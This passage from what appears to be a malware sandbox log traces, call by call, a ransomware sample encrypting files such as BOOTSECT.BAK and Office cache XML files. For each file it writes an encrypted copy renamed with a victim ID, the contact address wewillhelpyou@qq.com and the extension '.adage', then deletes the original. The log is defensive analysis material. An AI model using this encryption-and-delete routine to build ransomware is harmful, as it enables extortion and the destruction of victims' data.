lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0050.044] CryptDestroyKey (hKey=0x4d39a8) returned 1 [0050.044] CloseHandle (hObject=0x16c) returned 1 [0050.044] CloseHandle (hObject=0x170) returned 1 [0050.046] DeleteFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0050.047] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0050.150] ResetEvent (hEvent=0x158) returned 1 [0050.150] SetEvent (hEvent=0x15c) returned 1 [0050.150] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0050.150] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x134 [0050.151] GetFileSizeEx (in: hFile=0x134, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=8192) returned 1 [0050.151] CloseHandle (hObject=0x134) returned 1 [0050.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0050.151] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0050.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\bootsect.bak.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.152] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x134 [0050.152] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0050.152] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0050.152] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\bootsect.bak.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.152] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d28d0) returned 1 [0050.152] CryptSetKeyParam (hKey=0x4d28d0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0050.152] ReadFile (in: hFile=0x134, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0050.154] CryptEncrypt (in: hKey=0x4d28d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x2010, dwBufLen=0x2010 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x2010) returned 1 [0050.154] WriteFile (in: hFile=0x170, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x2010, lpOverlapped=0x0) returned 1 [0050.156] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d2bb0) returned 1 [0050.156] CryptSetKeyParam (hKey=0x4d2bb0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0050.156] CryptEncrypt (in: hKey=0x4d2bb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0050.156] CryptDestroyKey (hKey=0x4d2bb0) returned 1 [0050.156] WriteFile (in: hFile=0x170, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0050.156] CryptDestroyKey (hKey=0x4d28d0) returned 1 [0050.156] CloseHandle (hObject=0x134) returned 1 [0050.156] CloseHandle (hObject=0x170) returned 1 [0050.157] DeleteFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0050.158] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage", dwFileAttributes=0x27) returned 1 [0050.158] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0051.602] ResetEvent (hEvent=0x158) returned 1 [0051.602] SetEvent (hEvent=0x15c) returned 1 [0051.602] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0051.602] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\office64ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.602] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4992) returned 1 [0051.602] CloseHandle (hObject=0x184) returned 1 [0051.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\office64ww.xml")) returned 0x2020 [0051.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\office64ww.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0051.603] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\office64ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.603] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0051.603] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0051.603] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\office64ww.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.603] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d6310) returned 1 [0051.603] CryptSetKeyParam (hKey=0x4d6310, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0051.603] ReadFile (in: hFile=0x184, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x1380, lpOverlapped=0x0) returned 1 [0051.609] CryptEncrypt (in: hKey=0x4d6310, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x1390, dwBufLen=0x1390 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x1390) returned 1 [0051.609] WriteFile (in: hFile=0x188, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x1390, lpOverlapped=0x0) returned 1 [0051.610] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d7600) returned 1 [0051.610] CryptSetKeyParam (hKey=0x4d7600, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0051.610] CryptEncrypt (in: hKey=0x4d7600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0051.610] CryptDestroyKey (hKey=0x4d7600) returned 1 [0051.610] WriteFile (in: hFile=0x188, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0051.610] CryptDestroyKey (hKey=0x4d6310) returned 1 [0051.610] CloseHandle (hObject=0x184) returned 1 [0051.610] CloseHandle (hObject=0x188) returned 1 [0051.612] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\office64ww.xml")) returned 1 [0051.613] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0051.614] ResetEvent (hEvent=0x158) returned 1 [0051.614] SetEvent (hEvent=0x15c) returned 1 [0051.614] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0051.614] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\proplusww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.615] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=17108) returned 1 [0051.615] CloseHandle (hObject=0x188) returned 1 [0051.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\proplusww.xml")) returned 0x2020 [0051.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\proplusww.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0051.615] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\proplusww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.616] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0051.616] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0051.616] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\proplusww.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.616] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d6310) returned 1 [0051.616] CryptSetKeyParam (hKey=0x4d6310, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0051.616] ReadFile (in: hFile=0x188, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x42d4, lpOverlapped=0x0) returned 1 [0051.617] CryptEncrypt (in: hKey=0x4d6310, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x42e0, dwBufLen=0x42e0 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x42e0) returned 1 [0051.618] WriteFile (in: hFile=0x184, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x42e0, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x42e0, lpOverlapped=0x0) returned 1 [0051.619] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d7600) returned 1 [0051.619] CryptSetKeyParam (hKey=0x4d7600, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0051.619] CryptEncrypt (in: hKey=0x4d7600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0051.619] CryptDestroyKey (hKey=0x4d7600) returned 1 [0051.619] WriteFile (in: hFile=0x184, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0051.619] CryptDestroyKey (hKey=0x4d6310) returned 1 [0051.619] CloseHandle (hObject=0x188) returned 1 [0051.619] CloseHandle (hObject=0x184) returned 1 [0051.623] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\proplusww.xml")) returned 1 [0051.624] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0051.625] ResetEvent (hEvent=0x158) returned 1 [0051.626] SetEvent (hEvent=0x15c) returned 1 [0051.626] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0051.626] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.627] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=27782) returned 1 [0051.627] CloseHandle (hObject=0x184) returned 1 [0051.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0051.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0051.627] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.627] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0051.627] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0051.627] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.627] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d6310) returned 1 [0051.627] CryptSetKeyParam (hKey=0x4d6310, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0051.627] ReadFile (in: hFile=0x184, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x6c86, lpOverlapped=0x0) returned 1 [0051.629] CryptEncrypt (in: hKey=0x4d6310, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x6c90, dwBufLen=0x6c90 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x6c90) returned 1 [0051.630] WriteFile (in: hFile=0x188, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x6c90, lpOverlapped=0x0) returned 1 [0051.631] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d52c8) returned 1 [0051.631] CryptSetKeyParam (hKey=0x4d52c8, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0051.631] CryptEncrypt (in: hKey=0x4d52c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0051.631] CryptDestroyKey (hKey=0x4d52c8) returned 1 [0051.631] WriteFile (in: hFile=0x188, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0051.631] CryptDestroyKey (hKey=0x4d6310) returned 1 [0051.631] CloseHandle (hObject=0x184) returned 1 [0051.631] CloseHandle (hObject=0x188) returned 1 [0051.633] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.xml")) returned 1 [0051.634] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0051.635] ResetEvent (hEvent=0x158) returned 1 [0051.635] SetEvent (hEvent=0x15c) returned 1 [0051.635] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0051.635] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.636] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1780) returned 1 [0051.636] CloseHandle (hObject=0x184) returned 1 [0051.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0051.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excelmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0051.636] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.636] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0051.637] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0051.637] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excelmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0051.638] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d6310) returned 1 [0051.638] CryptSetKeyParam (hKey=0x4d6310, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0051.638] ReadFile (in: hFile=0x184, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x6f4, lpOverlapped=0x0) returned 1 [0051.640] CryptEncrypt (in: hKey=0x4d6310, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x700, dwBufLen=0x700 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x700) returned 1 [0051.640] WriteFile (in: hFile=0x17c, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x700, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x700, lpOverlapped=0x0) returned 1 [0051.641] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d7600) returned 1 [0051.641] CryptSetKeyParam (hKey=0x4d7600, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0051.641] CryptEncrypt (in: hKey=0x4d7600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0051.641] CryptDestroyKey (hKey=0x4d7600) returned 1 [0051.641] WriteFile (in: hFile=0x17c, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0051.641] CryptDestroyKey (hKey=0x4d6310) returned 1 [0051.641] CloseHandle (hObject=0x184) returned 1 [0051.641] CloseHandle (hObject=0x17c) returned 1 [0051.642] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0051.643] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0051.936] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0051.992] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0051.992] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.020] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2837) returned 1 [0052.024] CloseHandle (hObject=0x184) returned 1 [0052.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0052.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlookmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0052.024] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All 